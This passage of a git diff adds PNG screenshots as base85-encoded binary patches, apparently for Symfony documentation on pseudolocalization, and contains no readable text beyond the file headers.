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
RrTI5SR#(wcu2Hmo|6gvfuQ>n!

literal 0
HcmV?d00001

diff --git a/_images/translation/pseudolocalization-symfony-demo-disabled.png b/_images/translation/pseudolocalization-symfony-demo-disabled.png
new file mode 100644
index 0000000000000000000000000000000000000000..1a7472bd41fac2ffa9897ae9ab33d4c97fa5254d
GIT binary patch
literal 66509
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
